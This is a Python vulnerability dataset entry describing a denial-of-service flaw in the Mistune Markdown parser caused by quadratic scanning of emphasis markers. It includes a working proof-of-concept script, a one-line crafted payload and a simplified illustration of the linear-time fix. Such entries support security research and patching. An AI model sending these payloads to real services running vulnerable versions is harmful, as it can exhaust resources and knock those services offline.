CVE-2026-59925
Mistune DoS due to inefficient parsing of crafted emphasis markers.
- CVSS 7.5
- CWE-407
- Resource Management
- Remote
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, long sequences of well-formed double-asterisk or triple-asterisk emphasis pairs around a character cause quadratic work in src/mistune/inline_parser.py because the parser scans forward for matching close markers from every potential opening run, allowing denial of service in default Mistune parsing. This issue is fixed in version 3.3.0.
- CWE
- CWE-407
- CVSS base score
- 7.5
- Published
- 2026-07-08
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Mistune
- Fixed by upgrading
- Yes
Solution
Upgrade `mistune` to version 3.3.0 or later.
Vulnerable code sample
import mistune
import time
# This example requires a vulnerable version of mistune (e.g., pip install "mistune<3.3.0")
# On patched versions (>=3.3.0), this code will execute almost instantly.
# On vulnerable versions, it will take a very long time due to quadratic complexity.
n = 30000
# The payload consists of a long sequence of well-formed emphasis pairs.
# Each '**' forces the vulnerable parser to scan forward, leading to O(n^2) behavior.
payload = "**a**" * n
print(f"Generated a payload of {len(payload)} characters.")
print("Attempting to parse the payload. This will be slow on vulnerable versions.")
start = time.time()
mistune.markdown(payload)
end = time.time()
print(f"Parsing completed in {end - start:.4f} seconds.")Patched code sample
def fixed_emphasis_parser(text: str):
"""
This function demonstrates the principle of the linear-time fix for the
vulnerability.
The vulnerable method would re-scan the string forward from each potential
opening marker ('**'), leading to quadratic (O(n^2)) behavior. This fixed
approach scans the string only once, using a stack to track opening markers
and pairing them with closers. This results in linear (O(n)) time complexity,
preventing a denial of service.
"""
# A stack to hold the indices of opening '**' markers.
opener_stack = []
i = 0
# A single pass over the string to find and pair markers.
while i < len(text):
if text.startswith('**', i):
# Simplified logic: a real parser validates markers based on
# surrounding whitespace.
# If the stack has an unmatched opener, this is a closer.
if opener_stack:
# Pair found. Pop the last opener from the stack.
opener_stack.pop()
# Otherwise, this is a new opener.
else:
opener_stack.append(i)
# Advance index past the '**' marker.
i += 2
else:
# Advance index by one character.
i += 1
# After the single pass, any remaining items in opener_stack represent
# unclosed tags. This efficient algorithm avoids the costly re-scans
# of the vulnerable version.Payload
"**a** " * 50000
Cite this entry
@misc{vaitp:cve202659925,
title = {{Mistune DoS due to inefficient parsing of crafted emphasis markers.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59925},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59925/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
